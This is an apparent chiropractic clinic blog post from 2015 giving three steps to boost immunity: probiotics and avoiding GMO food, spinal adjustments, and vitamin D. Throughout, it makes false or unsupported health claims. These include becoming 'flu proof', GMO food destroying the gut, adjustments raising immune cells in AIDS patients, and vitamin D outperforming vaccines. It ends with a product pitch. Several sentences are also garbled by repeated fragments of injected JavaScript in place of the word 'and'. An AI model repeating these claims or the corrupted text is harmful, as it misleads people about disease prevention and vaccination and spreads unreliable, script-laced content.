3 Steps to Supercharge your Immunity

Posted On : July 06, 2015

supermanWith summer upon us, most people are not thinking about flu season. This is why so many people WILL get the flu this year. Most don’t know that there are key steps you can take now to make sure that you never get the flu again. It can take months to get your immunity strong enough to not fall prey to even the nasty of viruses. If you start working on implementing those key habits that build a strong immune system now, you will be FLU PROOF come winter.

The following are 3 steps you can take now to supercharge your immunity:

1. REPAIR YOUR GUT

I know I sound like a broken record, but your gut is key to keeping your immunity strong. 70% of your immune system is controlled by the gut. There are several steps you can take to keep your gut strong. The first step is to make sure you are taking a probiotic (at least 10 billion CFU’s). The more good bacteria you have in your gut the more protection against foreign invaders. The second is stop eating GMO food. It destroys your gut quicker than any other food product on the planet.

2. STRENGTHEN YOUR NERVOUS SYSTEM

The rest of your immune system is controlled by your nervous system. The nerves exiting your spinal vertebra carry key information from your brain that initiates an immune response. If one of those spinal nerves get choked because a vertebra is out of its proper spot, your immune system will shut down. There are several studies done proving this. The most famous one was done on AIDS patients. Two groups of patients were studied over a years’ time. One group was adjusted regularly, while the other group didn’t receive any chiropractic adjustments. The group that had adjustments showed consistently higher levels of T-helper cells andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and CD4 cells, key pieces of the immune system. Another study was done to understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how long these cells were elevated after an adjustment. What they found was the levels were highest forty five minutes post adjustment, but stayed elevated for up to six hours after the adjustment was performed.

3. GET ENOUGH OF THE SUNSHINE

Vitamin D has a remarkable role to play in your health, influencing nearly 3,000 of your 25,000 genes, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and playing a critical role in your immune response -- a role far superior to the synthetic immune responses that vaccines elicit. Vitamin D could rightly be described as a “miracle nutrient” for your immune system, as it enables your body to produce well over 200 antimicrobial peptides, which are indispensable in fighting off a wide range of infections. A Japanese study showed that school children taking vitamin D3 supplements were 58 percent less likely to catch influenza A. That's a higher effectiveness than any flu vaccine can claim.

One of the growing challenges we have is getting enough vitamin D3. Most people lather themselves up with sunscreen andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and block their bodies from receiving sunlight. Another problem scientist are now finding is that after 30 years old, we don’t convert sunlight into Vitamin D3. This is why most people are walking around with a Vitamin D deficiency. There is, in fact, research on over 200 diseases that have been linked to vitamin D deficiency, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and which may respond to vitamin D supplementation.

One of my favorite supplements is Vitamin D3 with probiotics. When you add probiotics to your Vitamin D3, it increases your body’s ability to absorb it. We have a phenomenal Vitamin D product in our office, ask us about it next time you’re in.